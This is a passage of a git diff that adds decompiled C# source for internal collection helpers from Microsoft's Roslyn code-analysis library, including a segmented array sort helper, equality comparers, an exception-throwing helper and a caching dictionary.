b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedGenericArraySortHelper.cs @@ -0,0 +1,655 @@ +using System; +using System.Collections.Generic; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class SegmentedGenericArraySortHelper where T : IComparable +{ + public static void Sort(SegmentedArraySegment keys, IComparer? comparer) + { + try + { + if (comparer == null || comparer == Comparer.Default) + { + if (keys.Length <= 1) + { + return; + } + if (typeof(T) == typeof(double) || typeof(T) == typeof(float)) + { + int num = SegmentedArraySortUtils.MoveNansToFront(keys, default(Span)); + if (num == keys.Length) + { + return; + } + keys = keys.Slice(num); + } + IntroSort(keys, 2 * (SegmentedArraySortUtils.Log2((uint)keys.Length) + 1)); + } + else + { + SegmentedArraySortHelper.IntrospectiveSort(keys, comparer.Compare); + } + } + catch (IndexOutOfRangeException) + { + ThrowHelper.ThrowArgumentException_BadComparer(comparer); + } + catch (Exception e) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.InvalidOperation_IComparerFailed, e); + } + } + + public static int BinarySearch(SegmentedArray array, int index, int length, T value, IComparer? comparer) + { + try + { + if (comparer == null || comparer == Comparer.Default) + { + return BinarySearch(array, index, length, value); + } + return SegmentedArraySortHelper.InternalBinarySearch(array, index, length, value, comparer); + } + catch (Exception e) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.InvalidOperation_IComparerFailed, e); + return 0; + } + } + + private static int BinarySearch(SegmentedArray array, int index, int length, T value) + { + int num = index; + int num2 = index + length - 1; + while (num <= num2) + { + int num3 = num + (num2 - num >> 1); + int num4 = ((array[num3] != null) ? array[num3].CompareTo(value) : ((value != null) ? (-1) : 0)); + if (num4 == 0) + { + return num3; + } + if (num4 < 0) + { + num = num3 + 1; + } + else + { + num2 = num3 - 1; + } + } + return ~num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static void SwapIfGreater(ref T i, ref T j) + { + if (i != null && GreaterThan(ref i, ref j)) + { + Swap(ref i, ref j); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static void Swap(ref T i, ref T j) + { + T val = i; + i = j; + j = val; + } + + private static void IntroSort(SegmentedArraySegment keys, int depthLimit) + { + int num = keys.Length; + while (num > 1) + { + if (num <= 16) + { + switch (num) + { + case 2: + SwapIfGreater(ref keys[0], ref keys[1]); + break; + case 3: + { + ref T j = ref keys[2]; + ref T reference = ref keys[1]; + ref T i = ref keys[0]; + SwapIfGreater(ref i, ref reference); + SwapIfGreater(ref i, ref j); + SwapIfGreater(ref reference, ref j); + break; + } + default: + InsertionSort(keys.Slice(0, num)); + break; + } + break; + } + if (depthLimit == 0) + { + HeapSort(keys.Slice(0, num)); + break; + } + depthLimit--; + int num2 = PickPivotAndPartition(keys.Slice(0, num)); + IntroSort(keys.Slice(num2 + 1, num - (num2 + 1)), depthLimit); + num = num2; + } + } + + private static int PickPivotAndPartition(SegmentedArraySegment keys) + { + int num = 0; + int index = keys.Length - 1; + int index2 = keys.Length - 1 >> 1; + SwapIfGreater(ref keys[num], ref keys[index2]); + SwapIfGreater(ref keys[num], ref keys[index]); + SwapIfGreater(ref keys[index2], ref keys[index]); + int num2 = keys.Length - 2; + T left = keys[index2]; + Swap(ref keys[index2], ref keys[num2]); + int num3 = num; + int num4 = num2; + while (num3 < num4) + { + if (left == null) + { + while (num3 < num2 && keys[++num3] == null) + { + } + while (num4 > num && keys[--num4] != null) + { + } + } + else + { + while (num3 < num2 && GreaterThan(ref left, ref keys[++num3])) + { + } + while (num4 > num && LessThan(ref left, ref keys[--num4])) + { + } + } + if (num3 >= num4) + { + break; + } + Swap(ref keys[num3], ref keys[num4]); + } + if (num3 != num2) + { + Swap(ref keys[num3], ref keys[num2]); + } + return num3; + } + + private static void HeapSort(SegmentedArraySegment keys) + { + int length = keys.Length; + for (int num = length >> 1; num >= 1; num--) + { + DownHeap(keys, num, length, 0); + } + for (int num2 = length; num2 > 1; num2--) + { + Swap(ref keys[0], ref keys[num2 - 1]); + DownHeap(keys, 1, num2 - 1, 0); + } + } + + private static void DownHeap(SegmentedArraySegment keys, int i, int n, int lo) + { + T left = keys[lo + i - 1]; + while (i <= n >> 1) + { + int num = 2 * i; + if (num < n && (keys[lo + num - 1] == null || LessThan(ref keys[lo + num - 1], ref keys[lo + num]))) + { + num++; + } + if (keys[lo + num - 1] == null || !LessThan(ref left, ref keys[lo + num - 1])) + { + break; + } + keys[lo + i - 1] = keys[lo + num - 1]; + i = num; + } + keys[lo + i - 1] = left; + } + + private static void InsertionSort(SegmentedArraySegment keys) + { + for (int i = 0; i < keys.Length - 1; i++) + { + T left = keys[i + 1]; + int num = i; + while (num >= 0 && (left == null || LessThan(ref left, ref keys[num]))) + { + keys[num + 1] = keys[num]; + num--; + } + keys[num + 1] = left; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool LessThan(ref T left, ref T right) + { + if (typeof(T) == typeof(byte)) + { + return (byte)(object)left < (byte)(object)right; + } + if (typeof(T) == typeof(sbyte)) + { + return (sbyte)(object)left < (sbyte)(object)right; + } + if (typeof(T) == typeof(ushort)) + { + return (ushort)(object)left < (ushort)(object)right; + } + if (typeof(T) == typeof(short)) + { + return (short)(object)left < (short)(object)right; + } + if (typeof(T) == typeof(uint)) + { + return (uint)(object)left < (uint)(object)right; + } + if (typeof(T) == typeof(int)) + { + return (int)(object)left < (int)(object)right; + } + if (typeof(T) == typeof(ulong)) + { + return (ulong)(object)left < (ulong)(object)right; + } + if (typeof(T) == typeof(long)) + { + return (long)(object)left < (long)(object)right; + } + if (typeof(T) == typeof(UIntPtr)) + { + return (nuint)(UIntPtr)(object)left < (nuint)(UIntPtr)(object)right; + } + if (typeof(T) == typeof(IntPtr)) + { + return (nint)(IntPtr)(object)left < (nint)(IntPtr)(object)right; + } + if (typeof(T) == typeof(float)) + { + return (float)(object)left < (float)(object)right; + } + if (typeof(T) == typeof(double)) + { + return (double)(object)left < (double)(object)right; + } + T other = right; + return left.CompareTo(other) < 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool GreaterThan(ref T left, ref T right) + { + if (typeof(T) == typeof(byte)) + { + return (byte)(object)left > (byte)(object)right; + } + if (typeof(T) == typeof(sbyte)) + { + return (sbyte)(object)left > (sbyte)(object)right; + } + if (typeof(T) == typeof(ushort)) + { + return (ushort)(object)left > (ushort)(object)right; + } + if (typeof(T) == typeof(short)) + { + return (short)(object)left > (short)(object)right; + } + if (typeof(T) == typeof(uint)) + { + return (uint)(object)left > (uint)(object)right; + } + if (typeof(T) == typeof(int)) + { + return (int)(object)left > (int)(object)right; + } + if (typeof(T) == typeof(ulong)) + { + return (ulong)(object)left > (ulong)(object)right; + } + if (typeof(T) == typeof(long)) + { + return (long)(object)left > (long)(object)right; + } + if (typeof(T) == typeof(UIntPtr)) + { + return (nuint)(UIntPtr)(object)left > (nuint)(UIntPtr)(object)right; + } + if (typeof(T) == typeof(IntPtr)) + { + return (nint)(IntPtr)(object)left > (nint)(IntPtr)(object)right; + } + if (typeof(T) == typeof(float)) + { + return (float)(object)left > (float)(object)right; + } + if (typeof(T) == typeof(double)) + { + return (double)(object)left > (double)(object)right; + } + T other = right; + return left.CompareTo(other) > 0; + } +} +internal static class SegmentedGenericArraySortHelper where TKey : IComparable +{ + public static void Sort(SegmentedArraySegment keys, Span values, IComparer? comparer) + { + try + { + if (comparer == null || comparer == Comparer.Default) + { + if (keys.Length <= 1) + { + return; + } + if (typeof(TKey) == typeof(double) || typeof(TKey) == typeof(float)) + { + int num = SegmentedArraySortUtils.MoveNansToFront(keys, values); + if (num == keys.Length) + { + return; + } + keys = keys.Slice(num); + values = values.Slice(num); + } + IntroSort(keys, values, 2 * (SegmentedArraySortUtils.Log2((uint)keys.Length) + 1)); + } + else + { + SegmentedArraySortHelper.IntrospectiveSort(keys, values, comparer); + } + } + catch (IndexOutOfRangeException) + { + ThrowHelper.ThrowArgumentException_BadComparer(comparer); + } + catch (Exception e) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.InvalidOperation_IComparerFailed, e); + } + } + + private static void SwapIfGreaterWithValues(SegmentedArraySegment keys, Span values, int i, int j) + { + ref TKey reference = ref keys[i]; + if (reference != null && GreaterThan(ref reference, ref keys[j])) + { + TKey val = reference; + keys[i] = keys[j]; + keys[j] = val; + TValue val2 = values[i]; + values[i] = values[j]; + values[j] = val2; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static void Swap(SegmentedArraySegment keys, Span values, int i, int j) + { + TKey val = keys[i]; + keys[i] = keys[j]; + keys[j] = val; + TValue val2 = values[i]; + values[i] = values[j]; + values[j] = val2; + } + + private static void IntroSort(SegmentedArraySegment keys, Span values, int depthLimit) + { + int num = keys.Length; + while (num > 1) + { + if (num <= 16) + { + switch (num) + { + case 2: + SwapIfGreaterWithValues(keys, values, 0, 1); + break; + case 3: + SwapIfGreaterWithValues(keys, values, 0, 1); + SwapIfGreaterWithValues(keys, values, 0, 2); + SwapIfGreaterWithValues(keys, values, 1, 2); + break; + default: + InsertionSort(keys.Slice(0, num), values.Slice(0, num)); + break; + } + break; + } + if (depthLimit == 0) + { + HeapSort(keys.Slice(0, num), values.Slice(0, num)); + break; + } + depthLimit--; + int num2 = PickPivotAndPartition(keys.Slice(0, num), values.Slice(0, num)); + IntroSort(keys.Slice(num2 + 1, num - (num2 + 1)), values.Slice(num2 + 1, num - (num2 + 1)), depthLimit); + num = num2; + } + } + + private static int PickPivotAndPartition(SegmentedArraySegment keys, Span values) + { + int num = keys.Length - 1; + int num2 = num >> 1; + SwapIfGreaterWithValues(keys, values, 0, num2); + SwapIfGreaterWithValues(keys, values, 0, num); + SwapIfGreaterWithValues(keys, values, num2, num); + TKey left = keys[num2]; + Swap(keys, values, num2, num - 1); + int num3 = 0; + int num4 = num - 1; + while (num3 < num4) + { + if (left == null) + { + while (num3 < num - 1 && keys[++num3] == null) + { + } + while (num4 > 0 && keys[--num4] != null) + { + } + } + else + { + while (GreaterThan(ref left, ref keys[++num3])) + { + } + while (LessThan(ref left, ref keys[--num4])) + { + } + } + if (num3 >= num4) + { + break; + } + Swap(keys, values, num3, num4); + } + if (num3 != num - 1) + { + Swap(keys, values, num3, num - 1); + } + return num3; + } + + private static void HeapSort(SegmentedArraySegment keys, Span values) + { + int length = keys.Length; + for (int num = length >> 1; num >= 1; num--) + { + DownHeap(keys, values, num, length, 0); + } + for (int num2 = length; num2 > 1; num2--) + { + Swap(keys, values, 0, num2 - 1); + DownHeap(keys, values, 1, num2 - 1, 0); + } + } + + private static void DownHeap(SegmentedArraySegment keys, Span values, int i, int n, int lo) + { + TKey left = keys[lo + i - 1]; + TValue val = values[lo + i - 1]; + while (i <= n >> 1) + { + int num = 2 * i; + if (num < n && (keys[lo + num - 1] == null || LessThan(ref keys[lo + num - 1], ref keys[lo + num]))) + { + num++; + } + if (keys[lo + num - 1] == null || !LessThan(ref left, ref keys[lo + num - 1])) + { + break; + } + keys[lo + i - 1] = keys[lo + num - 1]; + values[lo + i - 1] = values[lo + num - 1]; + i = num; + } + keys[lo + i - 1] = left; + values[lo + i - 1] = val; + } + + private static void InsertionSort(SegmentedArraySegment keys, Span values) + { + for (int i = 0; i < keys.Length - 1; i++) + { + TKey left = keys[i + 1]; + TValue val = values[i + 1]; + int num = i; + while (num >= 0 && (left == null || LessThan(ref left, ref keys[num]))) + { + keys[num + 1] = keys[num]; + values[num + 1] = values[num]; + num--; + } + keys[num + 1] = left; + values[num + 1] = val; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool LessThan(ref TKey left, ref TKey right) + { + if (typeof(TKey) == typeof(byte)) + { + return (byte)(object)left < (byte)(object)right; + } + if (typeof(TKey) == typeof(sbyte)) + { + return (sbyte)(object)left < (sbyte)(object)right; + } + if (typeof(TKey) == typeof(ushort)) + { + return (ushort)(object)left < (ushort)(object)right; + } + if (typeof(TKey) == typeof(short)) + { + return (short)(object)left < (short)(object)right; + } + if (typeof(TKey) == typeof(uint)) + { + return (uint)(object)left < (uint)(object)right; + } + if (typeof(TKey) == typeof(int)) + { + return (int)(object)left < (int)(object)right; + } + if (typeof(TKey) == typeof(ulong)) + { + return (ulong)(object)left < (ulong)(object)right; + } + if (typeof(TKey) == typeof(long)) + { + return (long)(object)left < (long)(object)right; + } + if (typeof(TKey) == typeof(UIntPtr)) + { + return (nuint)(UIntPtr)(object)left < (nuint)(UIntPtr)(object)right; + } + if (typeof(TKey) == typeof(IntPtr)) + { + return (nint)(IntPtr)(object)left < (nint)(IntPtr)(object)right; + } + if (typeof(TKey) == typeof(float)) + { + return (float)(object)left < (float)(object)right; + } + if (typeof(TKey) == typeof(double)) + { + return (double)(object)left < (double)(object)right; + } + TKey other = right; + return left.CompareTo(other) < 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool GreaterThan(ref TKey left, ref TKey right) + { + if (typeof(TKey) == typeof(byte)) + { + return (byte)(object)left > (byte)(object)right; + } + if (typeof(TKey) == typeof(sbyte)) + { + return (sbyte)(object)left > (sbyte)(object)right; + } + if (typeof(TKey) == typeof(ushort)) + { + return (ushort)(object)left > (ushort)(object)right; + } + if (typeof(TKey) == typeof(short)) + { + return (short)(object)left > (short)(object)right; + } + if (typeof(TKey) == typeof(uint)) + { + return (uint)(object)left > (uint)(object)right; + } + if (typeof(TKey) == typeof(int)) + { + return (int)(object)left > (int)(object)right; + } + if (typeof(TKey) == typeof(ulong)) + { + return (ulong)(object)left > (ulong)(object)right; + } + if (typeof(TKey) == typeof(long)) + { + return (long)(object)left > (long)(object)right; + } + if (typeof(TKey) == typeof(UIntPtr)) + { + return (nuint)(UIntPtr)(object)left > (nuint)(UIntPtr)(object)right; + } + if (typeof(TKey) == typeof(IntPtr)) + { + return (nint)(IntPtr)(object)left > (nint)(IntPtr)(object)right; + } + if (typeof(TKey) == typeof(float)) + { + return (float)(object)left > (float)(object)right; + } + if (typeof(TKey) == typeof(double)) + { + return (double)(object)left > (double)(object)right; + } + TKey other = right; + return left.CompareTo(other) > 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedHashSetEqualityComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedHashSetEqualityComparer.cs new file mode 100644 index 0000000..8bcc23c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedHashSetEqualityComparer.cs @@ -0,0 +1,70 @@ +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal sealed class SegmentedHashSetEqualityComparer : IEqualityComparer?> +{ + public bool Equals(SegmentedHashSet? x, SegmentedHashSet? y) + { + if (x == y) + { + return true; + } + if (x == null || y == null) + { + return false; + } + EqualityComparer equalityComparer = EqualityComparer.Default; + if (SegmentedHashSet.EqualityComparersAreEqual(x, y)) + { + if (x.Count == y.Count) + { + return y.IsSubsetOfHashSetWithSameComparer(x); + } + return false; + } + foreach (T item in y) + { + bool flag = false; + foreach (T item2 in x) + { + if (equalityComparer.Equals(item, item2)) + { + flag = true; + break; + } + } + if (!flag) + { + return false; + } + } + return true; + } + + public int GetHashCode(SegmentedHashSet? obj) + { + int num = 0; + if (obj != null) + { + foreach (T item in obj) + { + if (item != null) + { + num ^= item.GetHashCode(); + } + } + } + return num; + } + + public override bool Equals(object? obj) + { + return obj is SegmentedHashSetEqualityComparer; + } + + public override int GetHashCode() + { + return EqualityComparer.Default.GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ThrowHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ThrowHelper.cs new file mode 100644 index 0000000..dd9c7ba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ThrowHelper.cs @@ -0,0 +1,233 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class ThrowHelper +{ + [DoesNotReturn] + internal static void ThrowIndexOutOfRangeException() + { + throw new IndexOutOfRangeException(); + } + + [DoesNotReturn] + internal static void ThrowArgumentOutOfRangeException() + { + throw new ArgumentOutOfRangeException(); + } + + [DoesNotReturn] + internal static void ThrowArgumentOutOfRange_IndexException() + { + throw GetArgumentOutOfRangeException(ExceptionArgument.index, ExceptionResource.ArgumentOutOfRange_Index); + } + + [DoesNotReturn] + internal static void ThrowArgumentException_BadComparer(object? comparer) + { + throw new ArgumentException(string.Format(SR.Arg_BogusIComparer, comparer)); + } + + [DoesNotReturn] + internal static void ThrowIndexArgumentOutOfRange_NeedNonNegNumException() + { + throw GetArgumentOutOfRangeException(ExceptionArgument.index, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + + [DoesNotReturn] + internal static void ThrowLengthArgumentOutOfRange_ArgumentOutOfRange_NeedNonNegNum() + { + throw GetArgumentOutOfRangeException(ExceptionArgument.length, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + + [DoesNotReturn] + internal static void ThrowStartIndexArgumentOutOfRange_ArgumentOutOfRange_Index() + { + throw GetArgumentOutOfRangeException(ExceptionArgument.startIndex, ExceptionResource.ArgumentOutOfRange_Index); + } + + [DoesNotReturn] + internal static void ThrowCountArgumentOutOfRange_ArgumentOutOfRange_Count() + { + throw GetArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_Count); + } + + [DoesNotReturn] + internal static void ThrowWrongKeyTypeArgumentException(T key, Type targetType) + { + throw GetWrongKeyTypeArgumentException(key, targetType); + } + + [DoesNotReturn] + internal static void ThrowWrongValueTypeArgumentException(T value, Type targetType) + { + throw GetWrongValueTypeArgumentException(value, targetType); + } + + private static ArgumentException GetAddingDuplicateWithKeyArgumentException(object? key) + { + return new ArgumentException(string.Format(SR.Argument_AddingDuplicateWithKey, key)); + } + + [DoesNotReturn] + internal static void ThrowAddingDuplicateWithKeyArgumentException(T key) + { + throw GetAddingDuplicateWithKeyArgumentException(key); + } + + [DoesNotReturn] + internal static void ThrowKeyNotFoundException(T key) + { + throw GetKeyNotFoundException(key); + } + + [DoesNotReturn] + internal static void ThrowArgumentException(ExceptionResource resource) + { + throw GetArgumentException(resource); + } + + private static ArgumentNullException GetArgumentNullException(ExceptionArgument argument) + { + return new ArgumentNullException(GetArgumentName(argument)); + } + + [DoesNotReturn] + internal static void ThrowArgumentNullException(ExceptionArgument argument) + { + throw GetArgumentNullException(argument); + } + + [DoesNotReturn] + internal static void ThrowArgumentOutOfRangeException(ExceptionArgument argument) + { + throw new ArgumentOutOfRangeException(GetArgumentName(argument)); + } + + [DoesNotReturn] + internal static void ThrowArgumentOutOfRangeException(ExceptionArgument argument, ExceptionResource resource) + { + throw GetArgumentOutOfRangeException(argument, resource); + } + + [DoesNotReturn] + internal static void ThrowInvalidOperationException(ExceptionResource resource, Exception e) + { + throw new InvalidOperationException(GetResourceString(resource), e); + } + + [DoesNotReturn] + internal static void ThrowNotSupportedException(ExceptionResource resource) + { + throw new NotSupportedException(GetResourceString(resource)); + } + + [DoesNotReturn] + internal static void ThrowArgumentException_Argument_InvalidArrayType() + { + throw new ArgumentException(SR.Argument_InvalidArrayType); + } + + [DoesNotReturn] + internal static void ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion() + { + throw new InvalidOperationException(SR.InvalidOperation_EnumFailedVersion); + } + + [DoesNotReturn] + internal static void ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen() + { + throw new InvalidOperationException(SR.InvalidOperation_EnumOpCantHappen); + } + + [DoesNotReturn] + internal static void ThrowInvalidOperationException_ConcurrentOperationsNotSupported() + { + throw new InvalidOperationException(SR.InvalidOperation_ConcurrentOperationsNotSupported); + } + + private static ArgumentException GetArgumentException(ExceptionResource resource) + { + return new ArgumentException(GetResourceString(resource)); + } + + private static ArgumentException GetWrongKeyTypeArgumentException(object? key, Type targetType) + { + return new ArgumentException(string.Format(SR.Arg_WrongType, key, targetType), "key"); + } + + private static ArgumentException GetWrongValueTypeArgumentException(object? value, Type targetType) + { + return new ArgumentException(string.Format(SR.Arg_WrongType, value, targetType), "value"); + } + + private static KeyNotFoundException GetKeyNotFoundException(object? key) + { + return new KeyNotFoundException(string.Format(SR.Arg_KeyNotFoundWithKey, key)); + } + + private static ArgumentOutOfRangeException GetArgumentOutOfRangeException(ExceptionArgument argument, ExceptionResource resource) + { + return new ArgumentOutOfRangeException(GetArgumentName(argument), GetResourceString(resource)); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static void IfNullAndNullsAreIllegalThenThrow(object? value, ExceptionArgument argName) + { + if (default(T) != null && value == null) + { + ThrowArgumentNullException(argName); + } + } + + private static string GetArgumentName(ExceptionArgument argument) + { + return argument switch + { + ExceptionArgument.dictionary => "dictionary", + ExceptionArgument.array => "array", + ExceptionArgument.info => "info", + ExceptionArgument.key => "key", + ExceptionArgument.value => "value", + ExceptionArgument.startIndex => "startIndex", + ExceptionArgument.index => "index", + ExceptionArgument.capacity => "capacity", + ExceptionArgument.collection => "collection", + ExceptionArgument.item => "item", + ExceptionArgument.converter => "converter", + ExceptionArgument.match => "match", + ExceptionArgument.count => "count", + ExceptionArgument.action => "action", + ExceptionArgument.comparison => "comparison", + ExceptionArgument.source => "source", + ExceptionArgument.length => "length", + ExceptionArgument.destinationArray => "destinationArray", + ExceptionArgument.other => "other", + _ => "", + }; + } + + private static string GetResourceString(ExceptionResource resource) + { + return resource switch + { + ExceptionResource.ArgumentOutOfRange_Index => SR.ArgumentOutOfRange_Index, + ExceptionResource.ArgumentOutOfRange_Count => SR.ArgumentOutOfRange_Count, + ExceptionResource.Arg_ArrayPlusOffTooSmall => SR.Arg_ArrayPlusOffTooSmall, + ExceptionResource.Arg_RankMultiDimNotSupported => SR.Arg_RankMultiDimNotSupported, + ExceptionResource.Arg_NonZeroLowerBound => SR.Arg_NonZeroLowerBound, + ExceptionResource.ArgumentOutOfRange_ListInsert => SR.ArgumentOutOfRange_ListInsert, + ExceptionResource.ArgumentOutOfRange_NeedNonNegNum => SR.ArgumentOutOfRange_NeedNonNegNum, + ExceptionResource.ArgumentOutOfRange_SmallCapacity => SR.ArgumentOutOfRange_SmallCapacity, + ExceptionResource.Argument_InvalidOffLen => SR.Argument_InvalidOffLen, + ExceptionResource.ArgumentOutOfRange_BiggerThanCollection => SR.ArgumentOutOfRange_BiggerThanCollection, + ExceptionResource.NotSupported_KeyCollectionSet => SR.NotSupported_KeyCollectionSet, + ExceptionResource.NotSupported_ValueCollectionSet => SR.NotSupported_ValueCollectionSet, + ExceptionResource.InvalidOperation_IComparerFailed => SR.InvalidOperation_IComparerFailed, + _ => "", + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ByteSequenceComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ByteSequenceComparer.cs new file mode 100644 index 0000000..20ac5d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ByteSequenceComparer.cs @@ -0,0 +1,104 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Collections; + +internal sealed class ByteSequenceComparer : IEqualityComparer, IEqualityComparer> +{ + internal static readonly ByteSequenceComparer Instance = new ByteSequenceComparer(); + + private ByteSequenceComparer() + { + } + + internal static bool Equals(ImmutableArray x, ImmutableArray y) + { + if (x == y) + { + return true; + } + if (x.IsDefault || y.IsDefault || x.Length != y.Length) + { + return false; + } + for (int i = 0; i < x.Length; i++) + { + if (x[i] != y[i]) + { + return false; + } + } + return true; + } + + internal static bool Equals(byte[]? left, int leftStart, byte[]? right, int rightStart, int length) + { + if (left == null || right == null) + { + return left == right; + } + if (left == right && leftStart == rightStart) + { + return true; + } + for (int i = 0; i < length; i++) + { + if (left[leftStart + i] != right[rightStart + i]) + { + return false; + } + } + return true; + } + + internal static bool Equals(byte[]? left, byte[]? right) + { + if (left == right) + { + return true; + } + if (left == null || right == null || left.Length != right.Length) + { + return false; + } + for (int i = 0; i < left.Length; i++) + { + if (left[i] != right[i]) + { + return false; + } + } + return true; + } + + internal static int GetHashCode(byte[] x) + { + return Hash.GetFNVHashCode(x); + } + + internal static int GetHashCode(ImmutableArray x) + { + return Hash.GetFNVHashCode(x); + } + + bool IEqualityComparer.Equals(byte[]? x, byte[]? y) + { + return Equals(x, y); + } + + int IEqualityComparer.GetHashCode(byte[] x) + { + return GetHashCode(x); + } + + bool IEqualityComparer>.Equals(ImmutableArray x, ImmutableArray y) + { + return Equals(x, y); + } + + int IEqualityComparer>.GetHashCode(ImmutableArray x) + { + return GetHashCode(x); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/CachingDictionary.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/CachingDictionary.cs new file mode 100644 index 0000000..1880c2d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/CachingDictionary.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.Collections; + +internal class CachingDictionary where TKey : notnull +{ + private readonly Func> _getElementsOfKey; + + private readonly Func, SegmentedHashSet> _getKeys; + + private readonly IEqualityComparer _comparer; + + private IDictionary>? _map; + + private static readonly ImmutableArray s_emptySentinel = ImmutableArray.Empty; + + public ImmutableArray this[TKey key] => GetOrCreateValue(key); + + public int Count => EnsureFullyPopulated().Count; + + public IEnumerable Keys => EnsureFullyPopulated().Keys; + + public CachingDictionary(Func> getElementsOfKey, Func, SegmentedHashSet> getKeys, IEqualityComparer comparer) + { + _getElementsOfKey = getElementsOfKey; + _getKeys = getKeys; + _comparer = comparer; + } + + public bool Contains(TKey key) + { + return this[key].Length != 0; + } + + public void AddValues(ArrayBuilder array) + { + foreach (KeyValuePair> item in EnsureFullyPopulated()) + { + array.AddRange(item.Value); + } + } + + private ConcurrentDictionary> CreateConcurrentDictionary() + { + return new ConcurrentDictionary>(2, 0, _comparer); + } + + private IDictionary> CreateDictionaryForFullyPopulatedMap(int capacity) + { + return new Dictionary>(capacity, _comparer); + } + + private ImmutableArray GetOrCreateValue(TKey key) + { + IDictionary> dictionary = _map; + if (dictionary == null) + { + ConcurrentDictionary> concurrentDictionary = CreateConcurrentDictionary(); + dictionary = Interlocked.CompareExchange(ref _map, concurrentDictionary, null); + if (dictionary == null) + { + return AddToConcurrentMap(concurrentDictionary, key); + } + } + if (dictionary.TryGetValue(key, out var value)) + { + return value; + } + if (dictionary is ConcurrentDictionary> map) + { + return AddToConcurrentMap(map, key); + } + return s_emptySentinel; + } + + private ImmutableArray AddToConcurrentMap(ConcurrentDictionary> map, TKey key) + { + ImmutableArray value = _getElementsOfKey(key); + if (value.IsDefaultOrEmpty) + { + value = s_emptySentinel; + } + return map.GetOrAdd(key, value); + } + + private static bool IsNotFullyPopulatedMap([NotNullWhen(false)] IDictionary>? existingMap) + { + if (existingMap != null) + { + return existingMap is ConcurrentDictionary>; + } + return true; + } + + private IDictionary> CreateFullyPopulatedMap(ConcurrentDictionary>? existingMap) + { + SegmentedHashSet segmentedHashSet = _getKeys(_comparer); + IDictionary> dictionary = CreateDictionaryForFullyPopulatedMap(segmentedHashSet.Count); + if (existingMap == null) + { + foreach (TKey item in segmentedHashSet) + { + dictionary.Add(item, _getElementsOfKey(item)); + } + } + else + { + foreach (TKey item2 in segmentedHashSet) + { + ImmutableArray orAdd = existingMap.GetOrAdd(item2, _getElementsOfKey); + dictionary.Add(item2, orAdd); + } + } + return dictionary; + } + + private IDictionary> EnsureFullyPopulated() + { + IDictionary> dictionary = _map; + while (IsNotFullyPopulatedMap(dictionary)) + { + IDictionary> dictionary2 = CreateFullyPopulatedMap((ConcurrentDictionary>)dictionary); + IDictionary> dictionary3 = Interlocked.CompareExchange(ref _map, dictionary2, dictionary); + if (dictionary3 == dictionary) + { + return dictionary2; + } + dictionary = dictionary3; + } + return dictionary; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/IOrderedReadOnlySet.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/IOrderedReadOnlySet.cs new file mode 100644 index 0000000..0bdfdff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/IOrderedReadOnlySet.cs @@ -0,0 +1,9 @@ +using System.Collections; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Collections; + +internal interface IOrderedReadOnlySet : Roslyn.Utilities.IReadOnlySet, IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableMemoryStream.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableMemoryStream.cs new file mode 100644 index 0000000..4e83db2 --- /dev/null +++ 